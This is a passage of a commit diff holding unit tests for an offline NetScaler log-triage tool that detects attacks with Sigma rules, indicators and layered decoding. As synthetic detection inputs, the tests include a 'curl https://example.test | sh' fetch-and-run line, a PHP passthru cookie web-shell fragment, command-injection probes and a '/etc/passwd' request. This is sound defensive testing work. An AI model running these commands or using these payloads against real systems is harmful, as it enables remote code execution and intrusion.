Initial release: offline NetScaler triage with Sigma rules and MIT license

This commit is contained in:
StasonJatham committed 2026-10-01 23:08:50 +02:00
commit 711c42b270
52 files changed
+61222

No files matched your search

+62
View File
@@ -0,0 +1,62 @@
import json
import tempfile
import unittest
from pathlib import Path
import py7zr
import pyzipper
from netscaler_triage.ingest import InputError, extract_archive
class ArchivePasswordTests(unittest.TestCase):
def test_encrypted_7z_and_aes_zip(self) -> None:
password = "sensitive-Ü-test-password"
with tempfile.TemporaryDirectory() as folder:
root = Path(folder).resolve()
for extension in ("7z", "zip"):
archive = root / ("input." + extension)
if extension == "7z":
with py7zr.SevenZipFile(
archive, "w", password=password, header_encryption=True
) as z:
z.writestr(b"log data\n", "logs/access.log")
else:
with pyzipper.AESZipFile(archive, "w", encryption=pyzipper.WZ_AES) as z:
z.setpassword(password.encode())
z.writestr("logs/access.log", b"log data\n")
original = archive.read_bytes()
destination = root / (extension + "-correct")
manifest = extract_archive(archive, destination, password=password)
self.assertEqual((destination / "logs/access.log").read_bytes(), b"log data\n")
self.assertNotIn(password, json.dumps(manifest))
for wrong in (None, "other-secret"):
failed = root / (extension + "-failed")
with self.assertRaises(InputError) as caught:
extract_archive(archive, failed, password=wrong)
self.assertNotIn(password, str(caught.exception))
self.assertNotIn("other-secret", str(caught.exception))
self.assertFalse(failed.exists())
self.assertEqual(archive.read_bytes(), original)
def test_nested_encryption_and_quota(self) -> None:
with tempfile.TemporaryDirectory() as folder:
root = Path(folder).resolve()
inner = root / "nested.7z"
with py7zr.SevenZipFile(inner, "w", password="secret", header_encryption=True) as z:
z.writestr(b"nested log", "messages")
outer = root / "outer.zip"
with pyzipper.AESZipFile(outer, "w", encryption=pyzipper.WZ_AES) as z:
z.setpassword(b"secret")
z.write(inner, "nested.7z")
target = root / "output"
extract_archive(outer, target, password="secret")
self.assertEqual((target / "nested.7z.extracted/messages").read_bytes(), b"nested log")
failed = root / "quota"
with self.assertRaisesRegex(InputError, "size limit"):
extract_archive(outer, failed, password="secret", max_bytes=2)
self.assertFalse(failed.exists())
if __name__ == "__main__":
unittest.main()
+113
View File
@@ -0,0 +1,113 @@
"""CLI presentation must not corrupt evidence output or generate assessments."""
import contextlib
import io
import json
import tempfile
import unittest
from pathlib import Path
from unittest.mock import patch
from rich.console import Console
from netscaler_triage.cli import display_result, main
from netscaler_triage.engine import scan
class CliTests(unittest.TestCase):
def test_help_and_argument_errors(self) -> None:
output = io.StringIO()
with contextlib.redirect_stdout(output), self.assertRaises(SystemExit) as raised:
main(["scan", "--help"])
self.assertEqual(raised.exception.code, 0)
self.assertIn("Log folders or archives", output.getvalue())
self.assertIn("Example:", output.getvalue())
self.assertNotIn("--regex-timeout", output.getvalue())
advanced = io.StringIO()
with contextlib.redirect_stdout(advanced), self.assertRaises(SystemExit):
main(["scan", "--help-all"])
self.assertIn("--regex-timeout", advanced.getvalue())
error = io.StringIO()
with contextlib.redirect_stderr(error), self.assertRaises(SystemExit) as raised:
main(["scan", "--not-a-valid-option"])
self.assertEqual(raised.exception.code, 2)
self.assertIn("Invalid arguments", error.getvalue())
self.assertIn("--help", error.getvalue())
def test_json_and_interactive_output(self) -> None:
result = {"status": "complete", "counts": {"records": 7}}
output = io.StringIO()
with contextlib.redirect_stdout(output):
display_result(result, json_output=True)
self.assertEqual(json.loads(output.getvalue()), result)
self.assertNotIn("\x1b", output.getvalue())
terminal = io.StringIO()
with patch(
"netscaler_triage.cli.Console",
return_value=Console(
file=terminal,
force_terminal=True,
color_system=None,
),
):
display_result(result)
self.assertIn("NetScaler triage results", terminal.getvalue())
def test_missing_file_is_friendly_and_has_no_stdout(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
output, error = io.StringIO(), io.StringIO()
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
code = main(["decode", str(Path(tmp) / "missing.txt")])
self.assertEqual(code, 2)
self.assertEqual(output.getvalue(), "")
self.assertIn("Check that the input file or directory exists", error.getvalue())
def test_scan_does_not_write_an_assessment(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "logs"
source.mkdir()
(source / "sample.log").write_text("plain text\n", encoding="utf-8")
scan([("sample", source)], root / "output", [], defaults=False)
self.assertTrue((root / "output/summary.json").is_file())
self.assertFalse((root / "output/BERICHT.txt").exists())
def test_scan_requires_only_a_folder_and_never_overwrites(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "appliance"
logs.mkdir()
original = "ordinary text\n"
(logs / "sample.log").write_text(original, encoding="utf-8")
for _ in range(2):
output, error = io.StringIO(), io.StringIO()
with contextlib.redirect_stdout(output), contextlib.redirect_stderr(error):
self.assertEqual(main(["scan", str(logs)]), 0)
self.assertEqual(json.loads(output.getvalue())["files"], 1)
self.assertIn("Results saved to:", error.getvalue())
destinations = list(root.glob("triage-results-*"))
self.assertEqual(len(destinations), 2)
self.assertEqual((logs / "sample.log").read_text(), original)
for destination in destinations:
config = json.loads((destination / "configuration.json").read_text())
self.assertIsNone(config["year"])
self.assertEqual(config["timezones"], {})
def test_named_inputs_remain_supported(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
with (
contextlib.redirect_stdout(io.StringIO()),
contextlib.redirect_stderr(io.StringIO()),
):
self.assertEqual(
main(["scan", "--input", f"ADC={logs}", "--output", str(root / "out")]), 0
)
config = json.loads((root / "out/configuration.json").read_text())
self.assertEqual(config["appliances"], ["ADC"])
if __name__ == "__main__":
unittest.main()
+65
View File
@@ -0,0 +1,65 @@
"""Diagnostic probes must match in request context, not as ordinary prose."""
import base64
import json
import tempfile
import unittest
from pathlib import Path
from urllib.parse import quote
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class CommandProbeTests(unittest.TestCase):
def test_raw_url_and_base64_probes_reach_engine(self) -> None:
commands = ["echo CHECK123&&date&&id", "id", "echo CHECK123"]
lines = []
for command in commands:
payload = quote(base64.b64encode(command.encode()).decode(), safe="")
lines.append(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET /vpn/example.php?x={payload} HTTP/1.1" 403 0 "-" "normal"'
)
lines.append(
"Oct 1 12:00:00 adc APPFW (GET https://192.0.2.1/vpn/theme/x.php?0="
+ quote(commands[0], safe="")
+ ") <blocked>"
)
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "probes.log").write_text("\n".join(lines) + "\n")
scan([("ADC", logs)], root / "out", [])
findings = [
json.loads(x) for x in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(findings), len(lines))
for finding in findings:
self.assertTrue(
any(x["name"] == "command_injection" for x in finding["rule_details"])
)
def test_ordinary_context_does_not_trigger_probe_or_handler_rules(self) -> None:
matcher = Matcher([])
for event in [
{"raw": "id", "uri": "/health?id=42"},
{"raw": "echo CHECK123", "uri": "/search?q=echo"},
{"raw": "id", "uri": "/vpn/example.php"},
{"raw": "AddType application/x-httpd-php .php"},
{"raw": "AddType application/x-httpd-php-source .phps"},
]:
with self.subTest(event=event):
names = {x["name"] for x in matcher.search_sigma(event)}
self.assertFalse(names & {"command_injection", "ti_php_handler"})
self.assertTrue(
any(
x["name"] == "ti_php_handler"
for x in matcher.search_sigma({"raw": "AddType application/x-httpd-php .sig"})
)
)
if __name__ == "__main__":
unittest.main()
+177
View File
@@ -0,0 +1,177 @@
"""Explicit configuration discovery and metadata-preservation checks."""
from __future__ import annotations
import contextlib
import io
import json
import tempfile
import unittest
from pathlib import Path
from unittest.mock import patch
from netscaler_triage.cli import main
from netscaler_triage.config_loading import load_config, load_configs
from netscaler_triage.matching import Matcher
class ConfigLoadingTests(unittest.TestCase):
def test_directory_expansion_is_explicit_sorted_and_deduplicated(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
(root / "sub").mkdir()
(root / ".hidden").mkdir()
(root / "__pycache__").mkdir()
(root / "z.txt").write_text("last\n")
(root / "sub/a.txt").write_text("first\n")
(root / ".hidden/a.txt").write_text("hidden\n")
(root / "__pycache__/a.txt").write_text("cache\n")
(root / "ignored.log").write_text("ignored\n")
for name in ["README.txt", "LICENSE.txt", "CHANGELOG.txt"]:
(root / name).write_text("Documentation, not an indicator.\n")
configs = load_configs([root, root / "z.txt", root])
self.assertEqual([c["indicators"][0]["value"] for c in configs], ["first", "last"])
self.assertEqual(load_configs([]), [])
def test_txt_infers_unambiguous_types_and_enforces_ip_boundaries(self) -> None:
with tempfile.TemporaryDirectory() as directory:
path = Path(directory) / "references.txt"
path.write_text(
"192.0.2.1\n2001:db8::1\n/example/artifact\n"
"https://example.invalid/payload\n" + "a" * 64 + "\nwhoami; id\n"
)
config = load_config(path)
self.assertEqual(
[row["type"] for row in config["indicators"]],
["ipv4", "ipv6", "path", "url", "sha256", "literal"],
)
matcher = Matcher([config], defaults=False)
self.assertTrue(matcher.search("source=192.0.2.1:443")[1])
self.assertFalse(matcher.search("source=192.0.2.10")[1])
self.assertTrue(matcher.search("source=2001:db8::1")[1])
self.assertFalse(matcher.search("source=2001:db8::10")[1])
self.assertTrue(matcher.search("whoami; id")[1])
def test_csv_preserves_metadata_and_aliases(self) -> None:
with tempfile.TemporaryDirectory() as directory:
path = Path(directory) / "customer.csv"
path.write_text(
"indicator_type,indicator,status,source,description,confidence,evidence\n"
"ipv4,192.0.2.9,authorized_test,local,Approved test,high,auth.log:3\n"
)
row = load_config(path)["indicators"][0]
self.assertEqual(row["value"], "192.0.2.9")
self.assertEqual(row["status"], "authorized_test")
self.assertEqual(row["evidence"], "auth.log:3")
self.assertEqual(row["source"], "local")
self.assertEqual(row["confidence"], "high")
def test_legacy_regex_csv_preserves_description(self) -> None:
with tempfile.TemporaryDirectory() as directory:
path = Path(directory) / "rules.csv"
path.write_text("ID,Muster,description,source\ncustom,test.*value,Example,local\n")
row = load_config(path)["patterns"][0]
self.assertEqual(row["description"], "Example")
self.assertEqual(row["pattern"], "test.*value")
def test_symlink_file_and_directory_are_rejected(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
target = root / "target"
target.mkdir()
(target / "one.txt").write_text("reference")
link = root / "linked"
link.symlink_to(target, target_is_directory=True)
with self.assertRaisesRegex(ValueError, "symlinks"):
load_configs([root])
with self.assertRaisesRegex(ValueError, "symlinks"):
load_configs([link])
link.unlink()
alias = root / "alias.txt"
alias.symlink_to(target / "one.txt")
with self.assertRaisesRegex(ValueError, "symlinks"):
load_config(alias)
def test_file_count_and_combined_bytes_are_bounded(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
(root / "a.txt").write_text("first")
(root / "b.txt").write_text("second")
with (
patch("netscaler_triage.config_loading.MAX_CONFIG_FILES", 1),
self.assertRaisesRegex(ValueError, "exceeds 1 files"),
):
load_configs([root])
with (
patch("netscaler_triage.config_loading.MAX_TOTAL_BYTES", 8),
self.assertRaisesRegex(ValueError, "Combined rule packs"),
):
load_configs([root])
with (
patch("netscaler_triage.config_loading.MAX_CONFIG_BYTES", 4),
self.assertRaisesRegex(ValueError, "exceeds"),
):
load_config(root / "a.txt")
def test_invalid_inputs_have_named_errors(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
with self.assertRaisesRegex(ValueError, "No supported rule packs"):
load_configs([root])
invalid = root / "broken.json"
invalid.write_text("{broken")
with self.assertRaisesRegex(ValueError, "broken.json"):
load_configs([root])
invalid.unlink()
csv = root / "broken.csv"
csv.write_text("value,status\none,two,three\n")
with self.assertRaisesRegex(ValueError, "column count mismatch"):
load_config(csv)
def test_sigma_relative_source_distinguishes_nested_names(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
for name in ["a", "b"]:
(root / name).mkdir()
(root / name / "rules.yml").write_text("title: example\n")
configs = load_configs([root])
self.assertEqual(
[c["sigma_rules"][0]["source"] for c in configs],
["a/rules.yml", "b/rules.yml"],
)
class RulesCommandTests(unittest.TestCase):
def test_valid_directory_compiles_without_output_artifacts(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
(root / "refs.csv").write_text("type,value,status\nipv4,192.0.2.1,reference_only\n")
before = sorted(p.name for p in root.iterdir())
output = io.StringIO()
with contextlib.redirect_stdout(output):
code = main(["rules", "--config", str(root), "--json"])
self.assertEqual(code, 0)
result = json.loads(output.getvalue())
self.assertEqual(result["status"], "valid")
self.assertGreater(result["sigma_rules"], 0)
self.assertGreaterEqual(result["explicit_active_indicators"], 1)
self.assertEqual(before, sorted(p.name for p in root.iterdir()))
def test_bad_sigma_and_duplicate_ids_fail_validation(self) -> None:
with tempfile.TemporaryDirectory() as directory:
root = Path(directory)
first = root / "one.yml"
first.write_text("title: missing required Sigma fields\n")
with contextlib.redirect_stderr(io.StringIO()):
self.assertEqual(main(["rules", "--config", str(root)]), 2)
sigma = (
"title: Test rule\nid: d78e2aad-98f2-41fa-a552-f55aa0ad786d\n"
"logsource:\n product: netscaler\ndetection:\n"
" selection:\n raw|contains: test-marker\n condition: selection\n"
)
first.write_text(sigma)
(root / "two.yml").write_text(sigma)
stderr = io.StringIO()
with contextlib.redirect_stderr(stderr):
self.assertEqual(main(["rules", "--config", str(root)]), 2)
self.assertIn("Duplicate rule identifier", stderr.getvalue())
+70
View File
@@ -0,0 +1,70 @@
import sqlite3
import unittest
from netscaler_triage.correlation import correlate_database
class CorrelationTests(unittest.TestCase):
def setUp(self) -> None:
self.db = sqlite3.connect(":memory:")
self.db.executescript("""
CREATE TABLE events(id INTEGER PRIMARY KEY,appliance TEXT,source TEXT,
line INTEGER,timestamp TEXT,kind TEXT,data TEXT);
CREATE TABLE event_keys(event_id INTEGER,appliance TEXT,key_type TEXT,
key_value TEXT,timestamp TEXT);
""")
def tearDown(self) -> None:
self.db.close()
def add(
self,
number: int,
stamp: str | None,
source: str = "access",
device: str = "one",
key: str = "source_ip",
value: str = "192.0.2.1",
) -> None:
self.db.execute(
"INSERT INTO events VALUES(?,?,?,?,?,?,?)",
(number, device, source, number, stamp, "http", "{}"),
)
self.db.execute(
"INSERT INTO event_keys VALUES(?,?,?,?,?)", (number, device, key, value, stamp)
)
def test_nearest_other_log_and_device_isolation(self) -> None:
self.add(1, "2026-01-01T00:00:00Z", "auth")
self.add(2, "2026-01-01T00:00:01Z")
self.add(3, "2026-01-01T00:00:02Z")
self.add(4, "2026-01-01T00:00:03Z", device="two")
result = correlate_database(self.db)
self.assertEqual(result["links"], 2)
self.assertEqual(
self.db.execute("SELECT left_id,right_id FROM correlations").fetchall(),
[(1, 2), (1, 3)],
)
def test_times_limits_and_rerun(self) -> None:
self.add(1, "2026-01-01T01:00:00+01:00", "auth")
self.add(2, "2026-01-01T00:00:01Z")
self.add(3, "2026-01-01T00:00:02Z")
self.add(4, None)
self.add(5, "2026-01-01T00:00:03")
result = correlate_database(self.db, max_links=1)
self.assertTrue(result["truncated"])
result = correlate_database(self.db)
self.assertEqual(result["links"], 2)
self.assertEqual(result["invalid_time_keys"], 2)
self.assertEqual(correlate_database(self.db, window_seconds=0)["links"], 0)
def test_exact_keys_and_no_same_source_links(self) -> None:
self.add(1, "2026-01-01T00:00:00Z")
self.add(2, "2026-01-01T00:00:01Z")
self.add(3, "2026-01-01T00:00:02Z", "auth", value="192.0.2.10")
self.assertEqual(correlate_database(self.db)["links"], 0)
if __name__ == "__main__":
unittest.main()
+58
View File
@@ -0,0 +1,58 @@
import base64
import unittest
from netscaler_triage.decoding import decode_layers, observations
class DecodingTests(unittest.TestCase):
def test_error_and_limit_metadata(self) -> None:
self.assertTrue(any(r["error"] for r in decode_layers("base64: aW@Q=")))
self.assertTrue(any(r["error"] for r in decode_layers("/x?q=%GG")))
self.assertTrue(any(r.get("limit") for r in decode_layers("aWQ=", max_depth=0)))
self.assertTrue(any(r["error"] for r in decode_layers("marker:AAAAA")))
def test_command_semantics_are_qualified(self) -> None:
explanation = " ".join(
observations(
"curl https://example.test | sh; chmod 777 /tmp/x; tar -cf /tmp/a "
"/tmp/b; kill -HUP 12; passthru($_COOKIE['x']); id; hostname"
)
)
for term in (
"file permissions",
"archive",
"HUP",
"Cookie",
"interpreter",
"execution is not established",
):
self.assertIn(term, explanation)
def test_marker_and_query(self) -> None:
for text in ["AB:" + base64.b64encode(b"id").decode(), "/probe.php?x=aWQ%3D"]:
records = decode_layers(text)
self.assertEqual(records[0]["output"], text)
self.assertIn("id", [r["output"] for r in records])
self.assertTrue(all(r["sha256"] for r in records))
def test_limits_binary_and_plus(self) -> None:
self.assertEqual(len(decode_layers("AAAA", max_bytes=2)), 1)
self.assertEqual(len(decode_layers("aWQ=", max_depth=0)), 1)
self.assertIn("a+b c", [r["output"] for r in decode_layers("a+b%20c")])
self.assertTrue(any(r["output_encoding"] == "hex" for r in decode_layers("AP8=")))
self.assertTrue(any(r["error"] for r in decode_layers("%FF")))
def test_inert_commands_and_ordinary_log(self) -> None:
command = "$(touch /tmp/NEVER_EXECUTE)"
records = decode_layers(base64.b64encode(command.encode()).decode())
self.assertIn(command, [r["output"] for r in records])
self.assertEqual(len(decode_layers("normal log entry with hostname server")), 1)
def test_nested(self) -> None:
text = base64.b64encode(base64.b64encode(b"id")).decode()
self.assertIn("id", [r["output"] for r in decode_layers(text)])
self.assertLessEqual(len(decode_layers(" ".join("m:" + text for _ in range(100)))), 64)
if __name__ == "__main__":
unittest.main()
+214
View File
@@ -0,0 +1,214 @@
"""User-facing automatic preparation with synthetic logs and disposable folders."""
import hashlib
import io
import json
import os
import tempfile
import unittest
import zipfile
from contextlib import redirect_stderr, redirect_stdout
from pathlib import Path
from typing import Any
from unittest.mock import patch
import py7zr
from netscaler_triage.cli import main
from netscaler_triage.preparation import prepare_inputs
LOG = (
'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET /etc/passwd HTTP/1.1" 403 0 "-" "ordinary"\n'
)
class EasyCliTests(unittest.TestCase):
def setUp(self) -> None:
self.temporary = tempfile.TemporaryDirectory()
self.root = Path(self.temporary.name).resolve()
self.previous = Path.cwd()
self.case = self.root / "case"
self.case.mkdir()
os.chdir(self.case)
def tearDown(self) -> None:
os.chdir(self.previous)
self.temporary.cleanup()
def invoke(self, arguments: list[str]) -> str:
stdout, stderr = io.StringIO(), io.StringIO()
with redirect_stdout(stdout), redirect_stderr(stderr):
result = main(arguments)
self.assertEqual(result, 0, stdout.getvalue() + stderr.getvalue())
return stdout.getvalue() + stderr.getvalue()
def events(self) -> list[dict[str, Any]]:
files = list(self.root.rglob("findings.jsonl"))
self.assertEqual(len(files), 1, files)
return [json.loads(line) for line in files[0].read_text().splitlines()]
def archive(self, name: str, log: str = LOG) -> Path:
archive = self.case / name
with zipfile.ZipFile(archive, "w") as handle:
handle.writestr("var/log/httpaccess.log", log)
return archive
def encrypted_archive(self, password: str) -> Path:
original = self.root / "fixture.log"
original.write_text(LOG, encoding="utf-8")
archive = self.case / "encrypted.7z"
with py7zr.SevenZipFile(archive, "w", password=password, header_encryption=True) as handle:
handle.write(original, "var/log/httpaccess.log")
return archive
def assert_password_absent(self, password: str, output: str) -> None:
self.assertNotIn(password, output)
for path in self.root.rglob("*"):
if path.is_file() and path.suffix in {".json", ".jsonl", ".txt", ".csv"}:
self.assertNotIn(password, path.read_text(encoding="utf-8"), str(path))
def test_no_arguments_uses_current_folder_and_skips_tool_directories(self) -> None:
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
(self.case / "pyproject.toml").write_text(
'[project]\nname = "netscaler-triage"\n', encoding="utf-8"
)
for name in ("src", ".runtime", ".venv", "results"):
folder = self.case / name
folder.mkdir()
(folder / "unrelated.log").write_text(LOG * 3, encoding="utf-8")
self.invoke([])
events = self.events()
self.assertEqual(len(events), 1)
self.assertEqual(events[0]["kind"], "http_access")
def test_folder_without_subcommand(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
self.invoke([str(folder)])
self.assertEqual(len(self.events()), 1)
def test_explicit_scan_folder(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
self.invoke(["scan", str(folder)])
self.assertEqual(len(self.events()), 1)
def test_missing_common_drive_uses_current_output_parent(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
with patch("netscaler_triage.cli.os.path.commonpath", side_effect=ValueError("drives")):
self.invoke([str(folder)])
self.assertEqual(len(self.events()), 1)
def test_advanced_preparation_limits_are_forwarded(self) -> None:
folder = self.case / "logs"
folder.mkdir()
(folder / "httpaccess.log").write_text(LOG, encoding="utf-8")
with patch("netscaler_triage.cli.prepare_inputs", wraps=prepare_inputs) as prepare:
self.invoke(
[str(folder), "--max-bytes", "10000", "--max-files", "9", "--max-depth", "0"]
)
self.assertEqual(prepare.call_args.kwargs["max_bytes"], 10000)
self.assertEqual(prepare.call_args.kwargs["max_files"], 9)
self.assertEqual(prepare.call_args.kwargs["max_depth"], 0)
self.assertEqual(len(self.events()), 1)
def test_archive_is_prepared_automatically_without_changing_original(self) -> None:
archive = self.archive("adc.zip")
before = hashlib.sha256(archive.read_bytes()).digest()
self.invoke([str(archive)])
self.assertEqual(hashlib.sha256(archive.read_bytes()).digest(), before)
events = self.events()
self.assertEqual(len(events), 1)
self.assertEqual(events[0]["kind"], "http_access")
def test_two_archives_keep_separate_appliance_identity(self) -> None:
first = self.archive("adc-one.zip")
second = self.archive("adc-two.zip")
self.invoke([str(first), str(second)])
events = self.events()
self.assertEqual(len(events), 2)
self.assertEqual(len({event["appliance"] for event in events}), 2)
def test_current_folder_discovers_multiple_archives(self) -> None:
self.archive("adc-one.zip")
self.archive("adc-two.zip")
self.invoke([])
events = self.events()
self.assertEqual(len(events), 2)
self.assertEqual(len({event["appliance"] for event in events}), 2)
def test_nested_archive_is_not_counted_twice(self) -> None:
nested = io.BytesIO()
with zipfile.ZipFile(nested, "w") as handle:
handle.writestr("httpaccess.log", LOG)
archive = self.case / "outer.zip"
with zipfile.ZipFile(archive, "w") as handle:
handle.writestr("inner.zip", nested.getvalue())
self.invoke([str(archive)])
self.assertEqual(len(self.events()), 1)
def test_archive_password_is_not_written_to_output(self) -> None:
password = "SYNTHETIC-password-SECRET-39217"
archive = self.encrypted_archive(password)
output = self.invoke([str(archive), "--password", password])
self.assertEqual(len(self.events()), 1)
self.assert_password_absent(password, output)
def test_password_flag_without_value_prompts_privately(self) -> None:
password = "SYNTHETIC-prompt-SECRET-39218"
archive = self.encrypted_archive(password)
with patch("netscaler_triage.cli.getpass.getpass", return_value=password) as prompt:
output = self.invoke([str(archive), "--password"])
prompt.assert_called_once()
self.assertEqual(len(self.events()), 1)
self.assert_password_absent(password, output)
def test_password_option_alone_uses_current_folder(self) -> None:
password = "SYNTHETIC-default-SECRET-39219"
self.encrypted_archive(password)
output = self.invoke(["--password", password])
self.assertEqual(len(self.events()), 1)
self.assert_password_absent(password, output)
def test_output_inside_original_input_is_rejected_before_changes(self) -> None:
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
before = {
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
for p in self.root.rglob("*")
}
stdout, stderr = io.StringIO(), io.StringIO()
with redirect_stdout(stdout), redirect_stderr(stderr):
result = main([str(self.case), "--output", str(self.case / "generated" / "out")])
self.assertNotEqual(result, 0)
after = {
p.relative_to(self.root).as_posix(): p.read_bytes() if p.is_file() else None
for p in self.root.rglob("*")
}
self.assertEqual(before, after)
def test_corrupt_archive_keeps_valid_results_and_reports_partial(self) -> None:
(self.case / "httpaccess.log").write_text(LOG, encoding="utf-8")
(self.case / "broken.zip").write_bytes(b"not a zip archive")
stdout, stderr = io.StringIO(), io.StringIO()
with redirect_stdout(stdout), redirect_stderr(stderr):
result = main([])
self.assertEqual(result, 2)
self.assertEqual(len(self.events()), 1)
summaries = list(self.root.rglob("summary.json"))
self.assertEqual(len(summaries), 1)
summary = json.loads(summaries[0].read_text())
self.assertEqual(summary["status"], "partial")
self.assertEqual(summary["counts"]["preparation_errors"], 1)
self.assertEqual(summary["preparation_errors"][0]["source"], "broken.zip")
manifest = json.loads((summaries[0].parent / "preparation_manifest.json").read_text())
failures = [entry for entry in manifest["entries"] if entry["action"] == "error"]
self.assertEqual(len(failures), 1)
self.assertIn("Preparation incomplete", stderr.getvalue())
if __name__ == "__main__":
unittest.main()
+102
View File
@@ -0,0 +1,102 @@
import base64
import json
import tempfile
import unittest
from pathlib import Path
from typing import Any
from netscaler_triage.decoding import has_encoding_candidate
from netscaler_triage.engine import scan
ARTIFACT = "/var/tmp/nsmon.pl"
RULE = """title: Synthetic decoded artifact
id: 96ddcb52-8e0b-4f8b-a41d-44e160db7464
logsource:
product: netscaler
detection:
selection:
raw|contains: '/var/tmp/nsmon.pl'
condition: selection
level: medium
"""
def encoded(value: str) -> str:
return base64.b64encode(value.encode()).decode().rstrip("=")
class EncodingGateTests(unittest.TestCase):
def test_encoded_user_agents_and_raw_blobs_keep_both_match_types(self) -> None:
once = encoded(ARTIFACT)
nested = encoded(once)
url_encoded = "%" + format(ord(once[0]), "02X") + once[1:]
lines = [
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 404 0 "-" "{agent}"'
for agent in (once, nested, url_encoded)
]
lines.extend([once, "marker:" + once, "log payload " + encoded(ARTIFACT * 3)])
lines.extend(
[
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET / HTTP/1.1" 404 0 "{once}" "synthetic-agent"',
"192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "
f'"GET / HTTP/1.1" 404 0 "-" "synthetic-agent" Cookie: command={once}',
]
)
with tempfile.TemporaryDirectory() as temporary:
root = Path(temporary).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "messages").write_text("\n".join(lines) + "\n", encoding="utf-8")
config: dict[str, Any] = {
"sigma_rules": [{"source": "synthetic.yml", "yaml": RULE}],
"indicators": [{"type": "literal", "value": ARTIFACT, "status": "reference_only"}],
}
summary = scan([("ADC", logs)], root / "out", [config], defaults=False)
self.assertEqual(summary["counts"]["records"], len(lines))
events = [
json.loads(row) for row in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(events), len(lines))
for event, original in zip(events, lines, strict=True):
self.assertEqual(event["raw"], original)
self.assertIn("96ddcb52-8e0b-4f8b-a41d-44e160db7464", event["rules"])
self.assertTrue(any(hit["value"] == ARTIFACT for hit in event["indicator_matches"]))
self.assertTrue(
any(ARTIFACT in (layer.get("output") or "") for layer in event["decoding"])
)
self.assertTrue(
any("decoded:" in str(detail["basis"]) for detail in event["rule_details"])
)
self.assertEqual(
sum(layer["transformation"] == "original" for layer in events[0]["decoding"]),
1,
"An encoded known field must not cause duplicate raw-line decoding",
)
cookie_layers = [
layer
for layer in events[-1]["decoding"]
if layer["transformation"] == "base64"
and layer["depth"] == 1
and layer["input"] == once
]
self.assertTrue(cookie_layers)
for layer in cookie_layers:
self.assertEqual(lines[-1][layer["start"] : layer["end"]], layer["input"])
def test_ordinary_words_and_timestamps_are_not_candidates(self) -> None:
for text in (
"NetScaler",
"Mozilla/5.0",
"ordinary words and numbers 123456789",
"Oct 01 12:00:00 appliance ready",
"2026-10-01T12:00:00Z",
):
with self.subTest(text=text):
self.assertFalse(has_encoding_candidate(text))
self.assertTrue(has_encoding_candidate(encoded("nsmon.pl")))
self.assertTrue(has_encoding_candidate(encoded(ARTIFACT * 2048)))
if __name__ == "__main__":
unittest.main()
+143
View File
@@ -0,0 +1,143 @@
import hashlib
import json
import sqlite3
import tempfile
import unittest
from pathlib import Path
from unittest.mock import patch
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher
class EngineTests(unittest.TestCase):
def test_hash_iocs_match_file_and_decoded_bytes(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
content = b"original file\n"
(logs / "sample.log").write_bytes(content)
(logs / "http.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] "
'"GET /?x=aWQ%3D HTTP/1.1" 200 0 "-" "ua"\n',
encoding="utf-8",
)
config = {
"indicators": [
{"type": "sha256", "value": hashlib.sha256(value).hexdigest()}
for value in (content, b"id")
]
}
result = scan([("ADC", logs)], root / "out", [config], defaults=False)
self.assertEqual(result["counts"]["file_hash_hits"], 1)
file_hits = json.loads((root / "out/file_hash_hits.json").read_text())
self.assertEqual(file_hits[0]["source"], "sample.log")
events = [
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertTrue(
any(
hit.get("basis") == "decoded_bytes_sha256"
for event in events
for hit in event["indicator_matches"]
)
)
def test_interrupt_records_failure_and_keeps_database(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "test.log").write_text("one\ntwo\n", encoding="utf-8")
with (
patch.object(
Matcher,
"search_with_details",
side_effect=[(["hit"], [], []), KeyboardInterrupt()],
),
self.assertRaises(KeyboardInterrupt),
):
scan([("ADC", logs)], root / "out", [], defaults=False)
summary = json.loads((root / "out/summary.json").read_text())
self.assertEqual(summary["error_type"], "KeyboardInterrupt")
with sqlite3.connect(root / "out/evidence.sqlite") as db:
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 1)
db.close()
def test_match_timeout_preserves_record_and_continues(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "test.log").write_text("problem\nfollowing\n", encoding="utf-8")
